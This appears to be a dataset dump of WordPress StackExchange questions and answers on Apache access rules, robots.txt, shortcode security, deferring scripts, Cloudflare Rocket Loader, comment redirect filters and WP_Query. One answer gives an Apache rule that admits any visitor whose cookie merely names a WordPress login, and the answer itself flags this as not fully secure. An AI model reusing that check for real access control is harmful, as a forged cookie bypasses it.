qid int64 4 8.14M | question stringlengths 20 48.3k | answers list | date stringlengths 10 10 | metadata list | input stringlengths 12 45k | output stringlengths 2 31.8k |
|---|---|---|---|---|---|---|
255,142 | <p>I have an apache config where I whitelist IPs to a non-WordPress subfolder like this:</p>
<pre><code><Directory /var/www/html/link>
Order allow,deny
Require all granted
#Our Network
Allow from ip-address/22
Allow from ip-address/24
Allow from ip-address/24
Allow from ip-address/24
#and even longer list of IPs and other folders
</Directory>
</code></pre>
<p>I would also like to allow people who don't belong to this IP block but have user account. Is there any way to do this?</p>
| [
{
"answer_id": 255652,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 0,
"selected": false,
"text": "<p>As far as I know, .htaccess (or apache config) is prioritized and you cant override it easily. There are two ... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255142",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1264/"
] | I have an apache config where I whitelist IPs to a non-WordPress subfolder like this:
```
<Directory /var/www/html/link>
Order allow,deny
Require all granted
#Our Network
Allow from ip-address/22
Allow from ip-address/24
Allow from ip-address/24
Allow from ip-address/24
#and even longer list of IPs and other folders
</Directory>
```
I would also like to allow people who don't belong to this IP block but have user account. Is there any way to do this? | Simple & Fast but not 100% secure method:
=========================================
This method is not 100% secure, but for most users (like 99%), it'll work.
Here, basically you'll use a `.htaccess` file ***inside the restricted directory***, say: `/var/www/html/link` with the following CODE:
```
SetEnvIf Cookie "^.*wordpress_logged_in.*$" WP_LOGGED_IN=maybe
Order allow,deny
Require all granted
# Our Network
#Allow from ip-address/22
#Allow from ip-address/24
#Allow from ip-address/24
#Allow from ip-address/24
# and even longer list of IPs
# Perhaps WordPress is logged in according to cookie: works for trivial cases, but not 100% secure
Allow from env=WP_LOGGED_IN
```
So basically, instead of apache config, you'll put the allowed IP networks in this `.htaccess` file (without the `<Directory>` block), which will also check the WordPress login cookie using [`SetEnvIf`](https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html) directive. If the IP is not in the match & login cookie isn't found either, with this CODE the remaining visitors will be denied access.
No change in the `.htaccess` file of the root web directory is necessary.
Secure method:
==============
If you need 100% secure method, then it's best to do it with PHP.
First remove all existing IP restrictions (for the corresponding directory) from the apache config file.
Then, use the following CODE in the `.htaccess` file of your root web directory.
```
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^link/access\.php$ - [L]
RewriteRule ^link/.*$ /link/access.php [L]
# Your remaining rewrite rules for WordPress
</IfModule>
```
Then in `/var/www/html/link/access.php` file, use the following PHP CODE:
```
<?php
function network_match( $ip, $networks ) {
foreach( $networks as $network ) {
$net_parts = explode( '/', $network );
$net = $net_parts[0];
if( count( $net_parts ) === 2 ) {
$netmask = $net_parts[1];
if( ( ip2long( $net ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) === ( ip2long( $ip ) & ~ ( ( 1 << ( 32 - $netmask ) ) - 1 ) ) ) {
return true;
}
}
else if( $ip === $net ) {
return true;
}
}
return false;
}
$networks = array(
// Put your allowed networks HERE
"192.168.0.0/24",
"127.0.0.1"
);
$allowed = false;
if( network_match( $_SERVER['REMOTE_ADDR'], $networks ) ) {
$allowed = true;
}
else {
// assuming WordPress is installed one directory above
// if not, then change accordingly
require_once dirname( dirname( __FILE__ ) ) . "/wp-load.php";
if( is_user_logged_in() ) {
$allowed = true;
}
}
if( $allowed ) {
// HERE you SERVE THE REQUESTED FILE WITH PHP
echo "You are allowed";
}
else {
die("Access denied!");
}
```
As it is now, this CODE basically internally rewrites all the requests to `/var/www/html/link/` directory to `/var/www/html/link/access.php` file & it checks IP access permission & WordPress login.
You may modify this PHP CODE (in the line that says: `// HERE you SERVE THE REQUESTED FILE WITH PHP`) to serve requested files from the `link` directory.
You may check this post to [server files from PHP CODE](https://stackoverflow.com/questions/3697748/fastest-way-to-serve-a-file-using-php). |
255,148 | <p>So I have a website which is made by using Wordpress platform. I'm completely unaware of SEO and when I search for my website on Google the description is something like this </p>
<blockquote>
<p>A description for this result is not available because of this site's robots.txt</p>
</blockquote>
<p>My Wordpress robots.txt file content is as follows</p>
<pre><code>User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://www.loadsofshoes.com/sitemap.xml
Sitemap: http://www.loadsofshoes.com/sitemap-images.xml
</code></pre>
| [
{
"answer_id": 255211,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>Content of robots.txt is right. Site should be indexed. Probably some time ago indexation was prohibite... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255148",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112529/"
] | So I have a website which is made by using Wordpress platform. I'm completely unaware of SEO and when I search for my website on Google the description is something like this
>
> A description for this result is not available because of this site's robots.txt
>
>
>
My Wordpress robots.txt file content is as follows
```
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://www.loadsofshoes.com/sitemap.xml
Sitemap: http://www.loadsofshoes.com/sitemap-images.xml
``` | Content of robots.txt is right. Site should be indexed. Probably some time ago indexation was prohibited in WordPress settings.
What you can do, request re-indexing of your site in Google Search Console and in some time (one week maybe) you can see usual description of your pages in Google search results. |
255,151 | <p>This is probably a silly question. Could someone potentially use a short code injection attack?</p>
<p>What is stopping someone from injecting something like this? </p>
<pre><code>[shortcode]Do something[/shortcode]
</code></pre>
<p>I am sure that WP already thought about this but I am just wondering, what security mechanism stops this type of injection attack?</p>
| [
{
"answer_id": 255153,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<ol>\n<li><p>In general, like with any other theme or plugin on your system, there is nothing built-in that ... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255151",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70197/"
] | This is probably a silly question. Could someone potentially use a short code injection attack?
What is stopping someone from injecting something like this?
```
[shortcode]Do something[/shortcode]
```
I am sure that WP already thought about this but I am just wondering, what security mechanism stops this type of injection attack? | 1. In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors
2. Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.
3. The biggest problem with shortcodes is that their insertion and "execution" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.
So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being "respected"). |
255,166 | <p>I want to manually eliminate render blocking in order to boost speed.</p>
<p>I've been searching for solution in google for past two days.</p>
<p>Tried below 3 solutions in functions.php. That indeed worked however....</p>
<ol>
<li>eliminated from half js scripts and i still get the same message for other js.</li>
<li>did not eliminate from CSS</li>
</ol>
<p><strong>Solution 1</strong></p>
<pre><code>add_filter( 'clean_url', function( $url )
{
if ( FALSE === strpos( $url, '.js' ) )
{
return $url;
}
return "$url' defer='defer";
}, 11, 1 );
</code></pre>
<p><strong>Solutions 2</strong> <a href="https://wordpress.stackexchange.com/questions/189333/how-to-solve-eliminate-render-blocking-javascript-and-css-in-above-the-fold-co">given here</a></p>
<pre><code>add_action('customize_register', 'customizer');
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );
</code></pre>
<p><strong>Solutions 3</strong></p>
<pre><code>// add async and defer to javascripts
function wcs_defer_javascripts ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' async='async";
}
add_filter( 'clean_url', 'wcs_defer_javascripts', 11, 1 );
</code></pre>
<p>Please do not suggest any plugin. I have tried w3 cache, autoptimize and many more.</p>
<p>W3 cache did the job but that is not permanent solution. Because site deforms once w3 cache is deactivated (<strong>site does not return to normal even after reactivating</strong>).</p>
<p><strong>Solution 4</strong> added this code before </p>
<pre><code><script type="text/javascript">
function downloadJSAtOnload() {
var links = ["wp-content/themes/TL/library/js/scriptsslider.js", "wp-content/themes/TL/library/js/scriptsslider.js"],
headElement = document.getElementsByTagName("head")[0],
linkElement, i;
for (i = 0; i < links.length; i++) {
linkElement = document.createElement("script");
linkElement.src = links[i];
headElement.appendChild(linkElement);
}
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
else if (window.attachEvent)
window.attachEvent("onload", downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
</code></pre>
| [
{
"answer_id": 255153,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 2,
"selected": false,
"text": "<ol>\n<li><p>In general, like with any other theme or plugin on your system, there is nothing built-in that ... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255166",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86147/"
] | I want to manually eliminate render blocking in order to boost speed.
I've been searching for solution in google for past two days.
Tried below 3 solutions in functions.php. That indeed worked however....
1. eliminated from half js scripts and i still get the same message for other js.
2. did not eliminate from CSS
**Solution 1**
```
add_filter( 'clean_url', function( $url )
{
if ( FALSE === strpos( $url, '.js' ) )
{
return $url;
}
return "$url' defer='defer";
}, 11, 1 );
```
**Solutions 2** [given here](https://wordpress.stackexchange.com/questions/189333/how-to-solve-eliminate-render-blocking-javascript-and-css-in-above-the-fold-co)
```
add_action('customize_register', 'customizer');
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );
```
**Solutions 3**
```
// add async and defer to javascripts
function wcs_defer_javascripts ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' async='async";
}
add_filter( 'clean_url', 'wcs_defer_javascripts', 11, 1 );
```
Please do not suggest any plugin. I have tried w3 cache, autoptimize and many more.
W3 cache did the job but that is not permanent solution. Because site deforms once w3 cache is deactivated (**site does not return to normal even after reactivating**).
**Solution 4** added this code before
```
<script type="text/javascript">
function downloadJSAtOnload() {
var links = ["wp-content/themes/TL/library/js/scriptsslider.js", "wp-content/themes/TL/library/js/scriptsslider.js"],
headElement = document.getElementsByTagName("head")[0],
linkElement, i;
for (i = 0; i < links.length; i++) {
linkElement = document.createElement("script");
linkElement.src = links[i];
headElement.appendChild(linkElement);
}
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
else if (window.attachEvent)
window.attachEvent("onload", downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
``` | 1. In general, like with any other theme or plugin on your system, there is nothing built-in that can prevent all attack vectors
2. Shortcodes are a kind of macros for generating HTML. Shortcodes that don't do more than that should generally be safe.
3. The biggest problem with shortcodes is that their insertion and "execution" do not depend on any capability check. If you have an exploitable shortcode, even a contributor will be able to abuse it.
So what to do? Especially if you are running a multi author site, avoid shortcodes that violate point 2, especially those that explicitly let you execute PHP code, and as always use themes and plugins only from respectable sources (unfortunately, popularity has almost nothing to do with being "respected"). |
255,170 | <p>I have a plugin which uses <code>wp_remote_get()</code> and it's not working on my nginx server so I decided to test this. </p>
<p>I created a file called <code>test.php</code> and inserted:</p>
<pre><code><?php $response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
</code></pre>
<p>When I run this file I am getting error:</p>
<pre><code>2017/02/04 16:22:31 [error] 16573#16573: *461100 FastCGI sent in stderr:
…
"PHP message: PHP Fatal error: Uncaught Error: Call to undefined function
wp_remote_get() in /var/www/html/wp-content/themes/x-child/test.php:1
</code></pre>
<p>I cannot tell why this would be undefined function, given that its part of wordpress core?</p>
| [
{
"answer_id": 255174,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<p>Are you trying to access your test.php file directly? If so, then WordPress won't be loaded, so <cod... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255170",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/40727/"
] | I have a plugin which uses `wp_remote_get()` and it's not working on my nginx server so I decided to test this.
I created a file called `test.php` and inserted:
```
<?php $response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
```
When I run this file I am getting error:
```
2017/02/04 16:22:31 [error] 16573#16573: *461100 FastCGI sent in stderr:
…
"PHP message: PHP Fatal error: Uncaught Error: Call to undefined function
wp_remote_get() in /var/www/html/wp-content/themes/x-child/test.php:1
```
I cannot tell why this would be undefined function, given that its part of wordpress core? | The very concept of HTTP API is to make sure transport will be done. It basically uses 5 different transport methods and it chooses the best one according to your server config. So it's unlikely a compatibility issue with `wp_remote_get()` and your server.
Plus if WP is not loaded, adding an action won't help, it will fail the same with undefined function error but this time on `add_action`.
So basically you're missing WordPress, for test purpose you could do this (assuming your file is at the root of WP installation ) :
```
<?php
require_once( 'wp-load.php' );
$response = wp_remote_get( 'http://www.domain.com/mytest.php' );
print $response ['body']; ?>
``` |
255,193 | <p>we (my son and me) modified a script - '/js/sticky-menu.js' - and it only works when Cloudflare 'Rocket Loader' is off.</p>
<p>Following the <a href="https://support.cloudflare.com/hc/en-us/articles/200168056-What-does-Rocket-Loader-do-" rel="nofollow noreferrer">tutorial</a> for Rocket Loader I tried to exclude the script by adding this code into the header (using theme settings of Genesis):</p>
<pre><code><script data-cfasync="false" src="/javascript.js"></script>
</code></pre>
<p>I modified the code to</p>
<pre><code><script data-cfasync="false" src="/js/sticky-menu.js"></script>
</code></pre>
<p>After saving the code I got this warning-message:</p>
<blockquote>
<p>403 Forbidden</p>
<p>A potentially unsafe operation has been detected in your request to this site.</p>
</blockquote>
<p>Also using the complete path of the script doesn't work.</p>
<p>Here is the URL of my <a href="https://www.jungvital.com" rel="nofollow noreferrer">website</a>.</p>
<p>Have you a solution for this problem?</p>
<p>kind regards,
Rainer Brumshagen</p>
| [
{
"answer_id": 255231,
"author": "Scott",
"author_id": 111485,
"author_profile": "https://wordpress.stackexchange.com/users/111485",
"pm_score": 3,
"selected": true,
"text": "<h1>Solution:</h1>\n\n<p>Because the theme JavaScript is not in:</p>\n\n<pre><code>/js/sticky-menu.js\n</code></p... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255193",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112048/"
] | we (my son and me) modified a script - '/js/sticky-menu.js' - and it only works when Cloudflare 'Rocket Loader' is off.
Following the [tutorial](https://support.cloudflare.com/hc/en-us/articles/200168056-What-does-Rocket-Loader-do-) for Rocket Loader I tried to exclude the script by adding this code into the header (using theme settings of Genesis):
```
<script data-cfasync="false" src="/javascript.js"></script>
```
I modified the code to
```
<script data-cfasync="false" src="/js/sticky-menu.js"></script>
```
After saving the code I got this warning-message:
>
> 403 Forbidden
>
>
> A potentially unsafe operation has been detected in your request to this site.
>
>
>
Also using the complete path of the script doesn't work.
Here is the URL of my [website](https://www.jungvital.com).
Have you a solution for this problem?
kind regards,
Rainer Brumshagen | Solution:
=========
Because the theme JavaScript is not in:
```
/js/sticky-menu.js
```
Rather, it's in your theme folder (as your theme name is `lifestyle-pro`, as found from your site's HTML):
```
/wp-content/themes/lifestyle-pro/js/sticky-menu.js
```
So your `<script>` CODE should be:
```
<script data-cfasync="false" src="/wp-content/themes/lifestyle-pro/js/sticky-menu.js"></script>
```
Bonus:
======
This can be made better with the use of the WordPress function [`get_stylesheet_directory_uri()`](https://developer.wordpress.org/reference/functions/get_stylesheet_directory_uri/). In that case, your CODE will be:
```
<script data-cfasync="false" src="<?php echo get_stylesheet_directory_uri(); ?>/js/sticky-menu.js"></script>
```
An even better method is to use `wp_enqueue_script()` function in combination with `wp_enqueue_scripts` filter hook, as described [in this WordPress document](https://developer.wordpress.org/reference/functions/wp_enqueue_script/). |
255,210 | <p>In my plugin, I have this statement</p>
<pre><code>add_filter( 'comment_edit_redirect', 'mcd_return_link');
</code></pre>
<p>and this function</p>
<pre><code>function mcd_return_link {
return "edit-comments.php";
}
</code></pre>
<p>Inside the <strong>comments.php</strong> (core file), is this section of code (within the section to edit comments, around line 310) (version 4.720</p>
<pre><code>$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
/**
* Filters the URI the user is redirected to after editing a comment in the admin.
*
* @since 2.1.0
*
* @param string $location The URI the user will be redirected to.
* @param int $comment_id The ID of the comment being edited.
*/
$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
wp_redirect( $location );
</code></pre>
<p>The intent of the <code>add_filter</code> is to change the <code>$location</code> value in the <strong>comments.php</strong> file to return back to the comment lists screen (in admin).</p>
<p>So my plugin uses a shortcode that is entered on a page</p>
<ul>
<li>the shortcode creates a list of comments, each comment with a link to
that comment's edit screen (it does)</li>
<li>have links to the edit comments screen for a specific comment (it does)</li>
<li>clicking on that link gets me to the comment's edit screen (it does)</li>
<li>clicking on the 'update' button should return me to the edit-comments.php page (it doesn't).</li>
</ul>
<p>To check if the filter is being applied, on my test system, I added code before and after the <code>apply_filters</code> line in core <strong>comments.php</strong> to echo the <code>$location</code> value. </p>
<p>Both values (before and after) show the calling page (my page that displays comments with edit links). It does not redirect to the <strong>'edit-comments.php'</strong> page, so it appears that the filter is not being applied.</p>
<p>I have tried changing the priority of the <code>add_filter</code> to 7 and 15, with no effect.</p>
<p>I have also dumped the <code>$wp_filter</code> global variable to ensure that the filter was recognized (it was).</p>
<p>Why is the filter not being applied?</p>
<p>** (Edited 6 Feb after suggested answers) **</p>
<p>I added an echo statement and a wp_die() inside the filter function. I also did further testing of this issue on my test multisite. </p>
<ul>
<li>The shortcode that the plugin uses is on a page on the main (site 0) subsite of the multisite test system.</li>
<li>links on all comments go to the editing url of the comment</li>
<li>any comments on the site 0 subsite (where the page is that displays the list of comments of all sites) bring you to the comment edit screen, and then "update" will return you to the page defined by the filter (as intended).</li>
<li>any comment links from site-1 or other non-site-0 sites bring you to the comment edit screee, and then "update" will reload the calling page (the comment list page (<strong>not</strong> as intended)</li>
<li>with the wp_die() inserted into the filter function (the function that sets up the desired return page, overriding the $location setting in comments.php), the site-0 editing/update process shows the 'wp_die' message. The site-1 or site-2 editing/update process <strong>does not</strong> show the 'wp_die' message.</li>
</ul>
<p>From this, I conclude that for some reason, the add-filter is not called by any link to a comment on site-1 or site-2, but works if called from links to a comment on site-0. Again, the page that displays the comments is on site-0.</p>
<p>So, why doesn't the add-filter work on any link that goes to the comment editing screen for site-1 or site-2, when it works properly on site-0?</p>
| [
{
"answer_id": 255214,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>Why is the filter not being applied?</p>\n</blockquote>\n\n<p>Hard to say. Try addin... | 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255210",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29416/"
] | In my plugin, I have this statement
```
add_filter( 'comment_edit_redirect', 'mcd_return_link');
```
and this function
```
function mcd_return_link {
return "edit-comments.php";
}
```
Inside the **comments.php** (core file), is this section of code (within the section to edit comments, around line 310) (version 4.720
```
$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;
/**
* Filters the URI the user is redirected to after editing a comment in the admin.
*
* @since 2.1.0
*
* @param string $location The URI the user will be redirected to.
* @param int $comment_id The ID of the comment being edited.
*/
$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );
wp_redirect( $location );
```
The intent of the `add_filter` is to change the `$location` value in the **comments.php** file to return back to the comment lists screen (in admin).
So my plugin uses a shortcode that is entered on a page
* the shortcode creates a list of comments, each comment with a link to
that comment's edit screen (it does)
* have links to the edit comments screen for a specific comment (it does)
* clicking on that link gets me to the comment's edit screen (it does)
* clicking on the 'update' button should return me to the edit-comments.php page (it doesn't).
To check if the filter is being applied, on my test system, I added code before and after the `apply_filters` line in core **comments.php** to echo the `$location` value.
Both values (before and after) show the calling page (my page that displays comments with edit links). It does not redirect to the **'edit-comments.php'** page, so it appears that the filter is not being applied.
I have tried changing the priority of the `add_filter` to 7 and 15, with no effect.
I have also dumped the `$wp_filter` global variable to ensure that the filter was recognized (it was).
Why is the filter not being applied?
\*\* (Edited 6 Feb after suggested answers) \*\*
I added an echo statement and a wp\_die() inside the filter function. I also did further testing of this issue on my test multisite.
* The shortcode that the plugin uses is on a page on the main (site 0) subsite of the multisite test system.
* links on all comments go to the editing url of the comment
* any comments on the site 0 subsite (where the page is that displays the list of comments of all sites) bring you to the comment edit screen, and then "update" will return you to the page defined by the filter (as intended).
* any comment links from site-1 or other non-site-0 sites bring you to the comment edit screee, and then "update" will reload the calling page (the comment list page (**not** as intended)
* with the wp\_die() inserted into the filter function (the function that sets up the desired return page, overriding the $location setting in comments.php), the site-0 editing/update process shows the 'wp\_die' message. The site-1 or site-2 editing/update process **does not** show the 'wp\_die' message.
From this, I conclude that for some reason, the add-filter is not called by any link to a comment on site-1 or site-2, but works if called from links to a comment on site-0. Again, the page that displays the comments is on site-0.
So, why doesn't the add-filter work on any link that goes to the comment editing screen for site-1 or site-2, when it works properly on site-0? | An answer that brings up another question...
I had a sudden epiphany ... if the plugin is not active on site-1 or site-2, and you click on a link to a comment for site-2, you are taken to the comment editing screen.
But, since the plugin is not active on site-1/site-2 (even though 'network activated' in the multisite admin), the shortcode doesn't work on a site-1/2 page, and therefore the add\_filter isn't executed.
So there must be some 'filter-of-the-filter' that only runs the add\_filter if for comment links if the plugin is enabled on the site that 'has' the comment.
**But** ... this doesn't explain why a very similar plugin I have (that shows all media on all sites, called 'Multisite Media Display') allows you to:
* run the page with the shortcode on site-0
* display all media for all subsites
* allows you to edit any media on **any** subsite
* clicking the 'x' button on the Media edit screen to get back to the media list will show you the Media 'list' screen.
I suspect that the 'x' on Media Edit does not have code to specify what page you want to return to (the $location value in comments.php around line 310).
But, why doesn't the comment editor 'see' the add\_filter command for a site-1 when the shortcode is run on site-0?
So, an answer that brings up another question.... |
255,260 | <p>There are a number of 3rd party wp.org repository plugins that 1) add categories and tags to pages, and 2) enable pages to be displayed along with posts in the archive pages.</p>
<p>The code they use for part 2 always uses:</p>
<pre><code>$wp_query->set
</code></pre>
<p>eg:</p>
<pre><code> if ( ! is_admin() ) {
add_action( 'pre_get_posts', 'category_and_tag_archives' );
}
// Add Page as a post_type in the archive.php and tag.php
function category_and_tag_archives( $wp_query ) {
$my_post_array = array('post','page');
if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )
$wp_query->set( 'post_type', $my_post_array );
if ( $wp_query->get( 'tag' ) )
$wp_query->set( 'post_type', $my_post_array );
}
</code></pre>
<p>So the plugins are all modifying wp_query settings and then leaving these settings -- ie they are not unsetting the changes or resetting them.</p>
<p>I guess they cannot reset wp_query because wp_query is not executed immediately after they modify it - wp_query will be executed at a later time when the archive page is called. Since they are not executing wp_query in their code they cannot reset it right after.</p>
<p>Then when I use this code in another plugin, eg:</p>
<pre><code>$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );
</code></pre>
<p>It returns both posts and pages, when it should only return pages.</p>
<p>This is because the wp_query has been modified and not reset.</p>
<p>I do not what to do in this case to get wp_query working for the second chunk of code. </p>
<p>The obvious would be to reset wp_query before my line of code but I am not sure it that will negatively affect other code in other plugins or the core.</p>
<p>Any help is greatly appreciated.</p>
| [
{
"answer_id": 255266,
"author": "Ignacio Jose Canó Cabral",
"author_id": 69671,
"author_profile": "https://wordpress.stackexchange.com/users/69671",
"pm_score": 2,
"selected": false,
"text": "<p>If the code shown above is the one the plugin is using, it will affect every query, since it... | 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255260",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112591/"
] | There are a number of 3rd party wp.org repository plugins that 1) add categories and tags to pages, and 2) enable pages to be displayed along with posts in the archive pages.
The code they use for part 2 always uses:
```
$wp_query->set
```
eg:
```
if ( ! is_admin() ) {
add_action( 'pre_get_posts', 'category_and_tag_archives' );
}
// Add Page as a post_type in the archive.php and tag.php
function category_and_tag_archives( $wp_query ) {
$my_post_array = array('post','page');
if ( $wp_query->get( 'category_name' ) || $wp_query->get( 'cat' ) )
$wp_query->set( 'post_type', $my_post_array );
if ( $wp_query->get( 'tag' ) )
$wp_query->set( 'post_type', $my_post_array );
}
```
So the plugins are all modifying wp\_query settings and then leaving these settings -- ie they are not unsetting the changes or resetting them.
I guess they cannot reset wp\_query because wp\_query is not executed immediately after they modify it - wp\_query will be executed at a later time when the archive page is called. Since they are not executing wp\_query in their code they cannot reset it right after.
Then when I use this code in another plugin, eg:
```
$the_query = new WP_Query( array( 'cat' => $categoryid, 'post_type' => 'page' ) );
```
It returns both posts and pages, when it should only return pages.
This is because the wp\_query has been modified and not reset.
I do not what to do in this case to get wp\_query working for the second chunk of code.
The obvious would be to reset wp\_query before my line of code but I am not sure it that will negatively affect other code in other plugins or the core.
Any help is greatly appreciated. | If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is\_main\_query() (<https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts>)
What you could do, is remove the action, do your query, and then add the action again (if needed)
```
remove_action( 'pre_get_posts', 'category_and_tag_archives' );
$myQuery = new WP_Query($queryArgs);
add_action( 'pre_get_posts', 'category_and_tag_archives' );
```
If in the plugin it has a different priority (default is 10) make sure to specify it.
Heres the remove action reference <https://codex.wordpress.org/Function_Reference/remove_action>
Hope this helps, |
255,275 | <p>I'm looking to run a function 'catloop' after the content.
Instead of just placing it below the_content();
I wanted to do it the right way. There is also a social plugin that places some sharing function after all the content that I need to be above, so, I have a higher priority on the filter.
This is what I have in my functions file:</p>
<pre><code>function catloop($content) {
if(is_page_template('page-category.php')) {
function foo() {
$term = get_field('category_list');
$term_id = $term->term_id;
$catname = $term->name;
// assign the variable as current category
// concatenate the query
$args = 'cat=' . $term_id;
if( $term ): $showposts = 10;
$args = array('cat' => $term_id, 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => $showposts,'post_status' => 'publish');
query_posts($args);
if (have_posts()) : while (have_posts()) : the_post();
echo '<div class="timeline">';
echo '<a href="';
echo the_permalink();
echo '"><h3>';
echo the_title();
echo '</h3></a>';
endwhile; else:
_e('No Posts Sorry.');
endif;
echo '</div>';
endif;
wp_reset_query();
}
$foo = foo;
$new_content = $foo();
$content .= $new_content;
}
return $content;
}
add_filter('the_content', 'catloop',9);
</code></pre>
<p>It's working but, the problem is that it is placing this above the content. I read in other questions that I need to use 'return' instead of 'echo'
but it breaks. Not sure where to go from here.</p>
| [
{
"answer_id": 255266,
"author": "Ignacio Jose Canó Cabral",
"author_id": 69671,
"author_profile": "https://wordpress.stackexchange.com/users/69671",
"pm_score": 2,
"selected": false,
"text": "<p>If the code shown above is the one the plugin is using, it will affect every query, since it... | 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255275",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91267/"
] | I'm looking to run a function 'catloop' after the content.
Instead of just placing it below the\_content();
I wanted to do it the right way. There is also a social plugin that places some sharing function after all the content that I need to be above, so, I have a higher priority on the filter.
This is what I have in my functions file:
```
function catloop($content) {
if(is_page_template('page-category.php')) {
function foo() {
$term = get_field('category_list');
$term_id = $term->term_id;
$catname = $term->name;
// assign the variable as current category
// concatenate the query
$args = 'cat=' . $term_id;
if( $term ): $showposts = 10;
$args = array('cat' => $term_id, 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => $showposts,'post_status' => 'publish');
query_posts($args);
if (have_posts()) : while (have_posts()) : the_post();
echo '<div class="timeline">';
echo '<a href="';
echo the_permalink();
echo '"><h3>';
echo the_title();
echo '</h3></a>';
endwhile; else:
_e('No Posts Sorry.');
endif;
echo '</div>';
endif;
wp_reset_query();
}
$foo = foo;
$new_content = $foo();
$content .= $new_content;
}
return $content;
}
add_filter('the_content', 'catloop',9);
```
It's working but, the problem is that it is placing this above the content. I read in other questions that I need to use 'return' instead of 'echo'
but it breaks. Not sure where to go from here. | If the code shown above is the one the plugin is using, it will affect every query, since it's not checking for is\_main\_query() (<https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts>)
What you could do, is remove the action, do your query, and then add the action again (if needed)
```
remove_action( 'pre_get_posts', 'category_and_tag_archives' );
$myQuery = new WP_Query($queryArgs);
add_action( 'pre_get_posts', 'category_and_tag_archives' );
```
If in the plugin it has a different priority (default is 10) make sure to specify it.
Heres the remove action reference <https://codex.wordpress.org/Function_Reference/remove_action>
Hope this helps, |
255,276 | <p>I am trying to perform a WP_Query, passing the values for <code>before</code> and <code>after</code> in the <code>date_query</code> as unix timestamps.</p>
<p>This does not seem to work:</p>
<pre><code>$args = array(
'date_query' => array(
'before' => 1486045020
)
);
</code></pre>
<p>I know I could use php's <code>date()</code> function to format it to a year, month and day, but I would rather use a unix timestamp to avoid time difference issues.</p>
| [
{
"answer_id": 255279,
"author": "sdexp",
"author_id": 102830,
"author_profile": "https://wordpress.stackexchange.com/users/102830",
"pm_score": 0,
"selected": false,
